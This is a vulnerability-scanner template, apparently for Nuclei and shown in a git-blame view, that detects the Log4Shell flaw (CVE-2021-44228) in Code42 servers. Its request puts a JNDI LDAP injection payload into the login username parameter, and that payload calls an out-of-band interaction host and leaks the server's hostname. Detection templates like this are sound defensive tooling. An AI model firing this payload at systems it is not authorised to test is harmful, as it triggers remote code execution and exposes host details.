2022-03-16 13:17:58 +00:00
|
|
|
id: code42-log4j-rce
|
|
|
|
|
|
|
|
info:
|
2022-10-10 19:51:42 +00:00
|
|
|
name: Apache Code42 - Remote Code Execution (Apache Log4j)
|
2022-03-16 13:17:58 +00:00
|
|
|
author: Adam Crosser
|
|
|
|
severity: critical
|
2022-05-27 13:44:40 +00:00
|
|
|
description: |
|
|
|
|
Multiple Code42 components are impacted by the logj4 vulnerability. Affected Code42 components include:
|
|
|
|
- Code42 cloud: Updated Log4j from 2.15.0 to 2.17.1 on January 26, 2022
|
|
|
|
- Code42 app for Incydr Basic and Advanced and CrashPlan Cloud product plans: Updated Log4j from 2.16.0 to 2.17.1 on January 18, 2022
|
|
|
|
- Code42 User Directory Sync (UDS): Updated Log4j from 2.15.0 to 2.17.1 on February 2, 2022
|
|
|
|
- On-premises Code42 server: Mitigated from Log4j vulnerabilities by following these steps
|
|
|
|
- On-premises Code42 app: Updated to Log4j 2.16 on December 17, 2021
|
2022-04-22 10:38:41 +00:00
|
|
|
reference:
|
|
|
|
- https://support.code42.com/Terms_and_conditions/Code42_customer_support_resources/Code42_response_to_industry_security_incidents
|
2022-07-16 17:08:04 +00:00
|
|
|
- https://logging.apache.org/log4j/2.x/security.html
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
|
2022-03-16 13:17:58 +00:00
|
|
|
classification:
|
2022-05-24 17:30:47 +00:00
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
|
|
|
cvss-score: 10.0
|
2022-10-10 19:51:42 +00:00
|
|
|
cve-id: CVE-2021-44228
|
2022-05-24 17:30:47 +00:00
|
|
|
cwe-id: CWE-77
|
2022-03-16 13:17:58 +00:00
|
|
|
tags: jndi,log4j,rce,cve,cve2021,oast,code42
|
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- '{{BaseURL}}/c42api/v3/LoginConfiguration?username=${jndi:ldap://${hostName}.{{interactsh-url}}/test}&url=https://localhost'
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: interactsh_protocol # Confirms the DNS Interaction
|
|
|
|
words:
|
|
|
|
- "dns"
|
|
|
|
|
|
|
|
- type: regex
|
|
|
|
part: interactsh_request
|
|
|
|
regex:
|
|
|
|
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Match for extracted ${hostName} variable
|
|
|
|
|
|
|
|
extractors:
|
|
|
|
- type: regex
|
|
|
|
part: interactsh_request
|
|
|
|
group: 1
|
|
|
|
regex:
|
|
|
|
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output
|
2022-05-24 17:30:47 +00:00
|
|
|
|
2022-05-27 13:32:32 +00:00
|
|
|
# Enhanced by mp on 2022/05/27
|